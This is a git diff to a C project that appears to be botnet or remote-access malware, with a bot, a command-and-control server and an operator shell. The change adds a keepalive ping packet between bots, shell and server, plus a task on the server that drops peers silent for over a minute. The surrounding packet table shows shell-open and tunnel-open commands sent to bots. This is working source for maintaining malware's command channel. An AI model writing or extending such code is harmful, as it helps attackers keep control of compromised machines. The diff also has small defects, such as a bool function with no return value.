diff --git a/bot/include/bot.h b/bot/include/bot.h
index faf4ffc..42fd87b 100644
--- a/bot/include/bot.h
+++ b/bot/include/bot.h
@@ -5,6 +5,7 @@
 #include "lpacket.h"
 #include "lsocket.h"
 #include "lpeer.h"
+#include "ltask.h"
 #include "lpolllist.h"
 #include "lsodium.h"
 
@@ -22,4 +23,6 @@ void laikaB_freeBot(struct sLaika_bot *bot);
 void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port); /* can throw a LAIKA_ERROR */
 bool laikaB_poll(struct sLaika_bot *bot, int timeout);
 
+void laikaB_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData);
+
 #endif
\ No newline at end of file
diff --git a/bot/src/bot.c b/bot/src/bot.c
index 6ec4135..45c879d 100644
--- a/bot/src/bot.c
+++ b/bot/src/bot.c
@@ -12,6 +12,11 @@ void laikaB_handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz,
     LAIKA_DEBUG("handshake accepted by cnc! got endian flag : %s\n", (endianness ? "TRUE" : "FALSE"));
 }
 
+void laikaB_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
+    LAIKA_DEBUG("got ping from cnc!\n");
+    /* stubbed */
+}
+
 /* =============================================[[ Packet Tables ]]============================================== */
 
 struct sLaika_peerPacketInfo laikaB_pktTbl[LAIKAPKT_MAXNONE] = {
@@ -19,6 +24,10 @@ struct sLaika_peerPacketInfo laikaB_pktTbl[LAIKAPKT_MAXNONE] = {
         laikaB_handleHandshakeResponse,
         sizeof(uint8_t),
     false),
+    LAIKA_CREATE_PACKET_INFO(LAIKAPKT_PINGPONG,
+        laikaB_handlePing,
+        0,
+    false),
     LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_OPEN,
         laikaB_handleShellOpen,
         sizeof(uint16_t) + sizeof(uint16_t),
@@ -152,4 +161,10 @@ bool laikaB_poll(struct sLaika_bot *bot, int timeout) {
     /* flush any events after (eg. made by a packet handler) */
     laikaP_flushOutQueue(&bot->pList);
     return true;
+}
+
+void laikaB_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) {
+    struct sLaika_bot *bot = (struct sLaika_bot*)uData;
+
+    laikaS_emptyOutPacket(bot->peer, LAIKAPKT_PINGPONG);
 }
\ No newline at end of file
diff --git a/bot/src/main.c b/bot/src/main.c
index 0d48c9b..985d808 100644
--- a/bot/src/main.c
+++ b/bot/src/main.c
@@ -30,6 +30,7 @@ int main(int argv, char *argc[]) {
         /* init task service */
         laikaT_initTaskService(&tService);
         laikaT_newTask(&tService, 100, shellTask, (void*)bot);
+        laikaT_newTask(&tService, 5000, laikaB_pingTask, (void*)bot);
 
         LAIKA_TRY
             /* connect to test CNC */
diff --git a/cnc/include/cnc.h b/cnc/include/cnc.h
index 788b26e..208b7de 100644
--- a/cnc/include/cnc.h
+++ b/cnc/include/cnc.h
@@ -6,12 +6,17 @@
 #include "lsocket.h"
 #include "lpolllist.h"
 #include "lpeer.h"
+#include "ltask.h"
 #include "hashmap.h"
 
+/* kill peers if they haven't ping'd within a minute */
+#define LAIKA_PEER_TIMEOUT 60 * 1000
+
 typedef bool (*tLaika_peerIter)(struct sLaika_peer *peer, void *uData);
 
 struct sLaika_peerInfo {
     struct sLaika_cnc *cnc;
+    long lastPing;
 };
 
 #define BASE_PEERINFO struct sLaika_peerInfo info;
@@ -63,4 +68,9 @@ void laikaC_iterPeers(struct sLaika_cnc *cnc, tLaika_peerIter iter, void *uData)
 
 struct sLaika_peer *laikaC_getPeerByPub(struct sLaika_cnc *cnc, uint8_t *pub);
 
+/* kills peers who haven't ping'd in a while */
+void laikaC_sweepPeersTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData);
+
+void laikaC_iterPeers(struct sLaika_cnc *cnc, tLaika_peerIter iter, void *uData);
+
 #endif
\ No newline at end of file
diff --git a/cnc/src/cnc.c b/cnc/src/cnc.c
index 9956925..9832157 100644
--- a/cnc/src/cnc.c
+++ b/cnc/src/cnc.c
@@ -2,6 +2,7 @@
 #include "lsodium.h"
 #include "lsocket.h"
 #include "lerror.h"
+#include "ltask.h"
 
 #include "cpanel.h"
 #include "cnc.h"
@@ -12,6 +13,7 @@ struct sLaika_peerInfo *allocBasePeerInfo(struct sLaika_cnc *cnc, size_t sz) {
     struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)laikaM_malloc(sz);
     
     pInfo->cnc = cnc;
+    pInfo->lastPing = laikaT_getTime();
     return pInfo;
 }
 
@@ -134,6 +136,13 @@ void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, v
     LAIKA_DEBUG("accepted handshake from peer %p\n", peer);
 }
 
+void laikaC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
+    struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
+
+    pInfo->lastPing = laikaT_getTime();
+    laikaS_emptyOutPacket(peer, LAIKAPKT_PINGPONG); /* gg 2 ez */
+}
+
 /* =============================================[[ Packet Tables ]]============================================== */
 
 #define DEFAULT_PKT_TBL \
@@ -141,6 +150,10 @@ void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, v
         laikaC_handleHandshakeRequest, \
         LAIKA_MAGICLEN + sizeof(uint8_t) + sizeof(uint8_t) + sizeof(uint8_t) + crypto_kx_PUBLICKEYBYTES + LAIKA_HOSTNAME_LEN + LAIKA_INET_LEN, \
     false), \
+    LAIKA_CREATE_PACKET_INFO(LAIKAPKT_PINGPONG, \
+        laikaC_handlePing, \
+        0, \
+    false), \
     LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ, \
         laikaC_handleAuthenticatedHandshake, \
         sizeof(uint8_t), \
@@ -421,6 +434,22 @@ struct sLaika_peer *laikaC_getPeerByPub(struct sLaika_cnc *cnc, uint8_t *pub) {
     return elem ? elem->peer : NULL;
 }
 
+bool sweepPeers(struct sLaika_peer *peer, void *uData) {
+    struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)peer->uData;
+    struct sLaika_cnc *cnc = (struct sLaika_cnc*)uData;
+    long currTime = laikaT_getTime();
+
+    /* peer has been silent for a while, kill 'em */
+    if (currTime - pInfo->lastPing > LAIKA_PEER_TIMEOUT)
+        laikaC_killPeer(cnc, peer);
+}
+
+void laikaC_sweepPeersTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) {
+    struct sLaika_cnc *cnc = (struct sLaika_cnc*)uData;
+
+    laikaC_iterPeers(cnc, sweepPeers, (void*)cnc);
+}
+
 /* ===============================================[[ Peer Iter ]]================================================ */
 
 struct sWrapperData {
diff --git a/cnc/src/main.c b/cnc/src/main.c
index cdb1f7e..cf52aca 100644
--- a/cnc/src/main.c
+++ b/cnc/src/main.c
@@ -56,6 +56,7 @@ int main(int argv, char *argc[]) {
         return 1;
 
     laikaT_initTaskService(&tService);
+    laikaT_newTask(&tService, 1000, laikaC_sweepPeersTask, (void*)cnc);
 
     /* start cnc */
     laikaC_bindServer(cnc);
diff --git a/lib/include/lpacket.h b/lib/include/lpacket.h
index 19b0edf..3bece66 100644
--- a/lib/include/lpacket.h
+++ b/lib/include/lpacket.h
@@ -53,6 +53,10 @@ enum {
     /* layout of LAIKAPKT_HANDSHAKE_RES:
     *   uint8_t cncEndian;
     */
+    LAIKAPKT_PINGPONG,
+    /* layout of LAIKAPKT_PINGPONG:
+    *   NULL (empty packet)
+    */
     LAIKAPKT_TUNNEL_OPEN, /* if sent to bot, opens a tunnel to localhost's port. if sent to cnc, signifies you opened the tunnel */
     /* layout of LAIKAPKT_TUNNEL_OPEN:
     *   uint16_t port;
diff --git a/lib/include/ltask.h b/lib/include/ltask.h
index 7b5fcc4..2397bf9 100644
--- a/lib/include/ltask.h
+++ b/lib/include/ltask.h
@@ -30,4 +30,6 @@ void laikaT_pollTasks(struct sLaika_taskService *service);
 /* will return the delta time in ms till the next event. -1 for no tasks scheduled */
 int laikaT_timeTillTask(struct sLaika_taskService *service);
 
+long laikaT_getTime(void);
+
 #endif
\ No newline at end of file
diff --git a/lib/src/lpacket.c b/lib/src/lpacket.c
index 19c0381..91bc838 100644
--- a/lib/src/lpacket.c
+++ b/lib/src/lpacket.c
@@ -6,6 +6,7 @@ const char* laikaD_getPacketName(LAIKAPKT_ID id) {
         "LAIKAPKT_VARPKT",
         "LAIKAPKT_HANDSHAKE_REQ",
         "LAIKAPKT_HANDSHAKE_RES",
+        "LAIKAPKT_PINGPONG",
         "LAIKAPKT_TUNNEL_OPEN",
         "LAIKAPKT_TUNNEL_CLOSE",
         "LAIKAPKT_TUNNEL_CONNECTION_ADD",
diff --git a/lib/src/lsocket.c b/lib/src/lsocket.c
index bafe3a1..c38eaa6 100644
--- a/lib/src/lsocket.c
+++ b/lib/src/lsocket.c
@@ -300,7 +300,7 @@ RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed
         /* if the socket closed or an error occurred, return the error result */
         errCode = RAWSOCK_ERROR;
     } else if (rcvd > 0) {
-#ifdef DEBUG
+#if 0
         /* for debugging */
         printf("---recv'd %d bytes---\n", rcvd);
         for (i = 1; i <= rcvd; i++) {
@@ -354,7 +354,7 @@ RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed
     } while((sentBytes += sent) < sz);
 
 _rawWriteExit:
-#ifdef DEBUG
+#if 0
     /* for debugging */
     printf("---sent %d bytes---\n", sent);
     for (i = 1; i <= sentBytes; i++) {
diff --git a/lib/src/ltask.c b/lib/src/ltask.c
index cfabf9e..b65300c 100644
--- a/lib/src/ltask.c
+++ b/lib/src/ltask.c
@@ -3,7 +3,7 @@
 
 /* this is the only reason C11 support is needed, i cba to write windows/linux specific stuff to get the current time in ms
     also side note: microsoft? more like micropenis */
-long getTime() {
+long laikaT_getTime() {
     struct timespec ts;
     timespec_get(&ts, TIME_UTC);
     return ts.tv_sec*1000 + ts.tv_nsec/1000000; /* convert time (seconds & nanoseconds) to milliseconds */
@@ -27,7 +27,7 @@ void laikaT_cleanTaskService(struct sLaika_taskService *service) {
 void scheduleTask(struct sLaika_taskService *service, struct sLaika_task *task) {
     struct sLaika_task *curr = service->headTask, *last = NULL;
 
-    task->scheduled = getTime() + task->delta;
+    task->scheduled = laikaT_getTime() + task->delta;
 
     /* search list for task for which we're scheduled before */
     while (curr != NULL && curr->scheduled < task->scheduled) {
@@ -84,7 +84,7 @@ void laikaT_delTask(struct sLaika_taskService *service, struct sLaika_task *task
 
 void laikaT_pollTasks(struct sLaika_taskService *service) {
     struct sLaika_task *last, *curr = service->headTask;
-    clock_t currTick = getTime();
+    clock_t currTick = laikaT_getTime();
 
     /* run each task, list is already sorted from closest scheduled task to furthest */
     while (curr != NULL && curr->scheduled <= currTick) { /* if scheduled time is greater than currTime, all events that follow are also not scheduled yet */
@@ -104,7 +104,7 @@ void laikaT_pollTasks(struct sLaika_taskService *service) {
 /* will return the delta time in ms till the next event. -1 for no tasks scheduled */
 int laikaT_timeTillTask(struct sLaika_taskService *service) {
     if (service->headTask) {
-        int pause = service->headTask->scheduled - getTime();
+        int pause = service->headTask->scheduled - laikaT_getTime();
         return (pause > 0) ? pause : 0;
     } else
         return -1; /* no tasks scheduled */
diff --git a/shell/include/sclient.h b/shell/include/sclient.h
index 5ae92f9..4a15511 100644
--- a/shell/include/sclient.h
+++ b/shell/include/sclient.h
@@ -3,6 +3,7 @@
 
 #include "hashmap.h"
 #include "lpeer.h"
+#include "ltask.h"
 #include "lsodium.h"
 
 #include "speer.h"
@@ -10,6 +11,7 @@
 typedef struct sShell_client {
     uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];
     struct sLaika_pollList pList;
+    struct sLaika_taskService tService;
     struct sLaika_peer *peer;
     tShell_peer *openShell; /* if not NULL, shell is open on peer */
     struct hashmap *peers;
diff --git a/shell/src/sclient.c b/shell/src/sclient.c
index 9d7828c..11a3ee5 100644
--- a/shell/src/sclient.c
+++ b/shell/src/sclient.c
@@ -6,6 +6,13 @@
 
 #include "sclient.h"
 
+
+void shell_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) {
+    tShell_client *client = (tShell_client*)uData;
+
+    laikaS_emptyOutPacket(client->peer, LAIKAPKT_PINGPONG);
+}
+
 /* ==============================================[[ PeerHashMap ]]=============================================== */
 
 typedef struct sShell_hashMapElem {
@@ -35,6 +42,12 @@ void shellC_handleHandshakeRes(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void
     PRINTSUCC("Handshake accepted!\n");
 }
 
+void shellC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
+    LAIKA_DEBUG("got ping from cnc!\n");
+    /* stubbed */
+}
+
+
 void shellC_handleAddPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
     char hostname[LAIKA_HOSTNAME_LEN], inet[LAIKA_INET_LEN], ipv4[LAIKA_IPV4_LEN];
     uint8_t pubKey[crypto_kx_PUBLICKEYBYTES];
@@ -117,6 +130,10 @@ struct sLaika_peerPacketInfo shellC_pktTbl[LAIKAPKT_MAXNONE] = {
         shellC_handleHandshakeRes,
         sizeof(uint8_t),
     false),
+    LAIKA_CREATE_PACKET_INFO(LAIKAPKT_PINGPONG,
+        shellC_handlePing,
+        0,
+    false),
     LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_ADD_PEER_RES,
         shellC_handleAddPeer,
         crypto_kx_PUBLICKEYBYTES + LAIKA_HOSTNAME_LEN + LAIKA_INET_LEN + LAIKA_IPV4_LEN + sizeof(uint8_t) + sizeof(uint8_t),
@@ -161,6 +178,9 @@ void shellC_init(tShell_client *client) {
     client->peerTblCap = 4;
     client->peerTblCount = 0;
 
+    laikaT_initTaskService(&client->tService);
+    laikaT_newTask(&client->tService, 5000, shell_pingTask, client);
+
     /* load authenticated keypair */
     if (sodium_init() < 0) {
         shellC_cleanup(client);
@@ -187,6 +207,8 @@ void shellC_cleanup(tShell_client *client) {
     laikaP_cleanPList(&client->pList);
     hashmap_free(client->peers);
 
+    laikaT_cleanTaskService(&client->tService);
+
     /* free peers */
     for (i = 0; i < client->peerTblCount; i++) {
         if (client->peerTbl[i])
@@ -235,7 +257,10 @@ bool shellC_poll(tShell_client *client, int timeout) {
     struct sLaika_pollEvent *evnts, *evnt;
     int numEvents, i;
 
-    /* flush any events prior (eg. made by a command handler) */
+    /* run any scheduled tasks, this could be moved but it works fine here for now */
+    laikaT_pollTasks(&client->tService);
+
+    /* flush any events prior (eg. made by a command handler or task) */
     laikaP_flushOutQueue(&client->pList);
     evnts = laikaP_poll(&client->pList, timeout, &numEvents);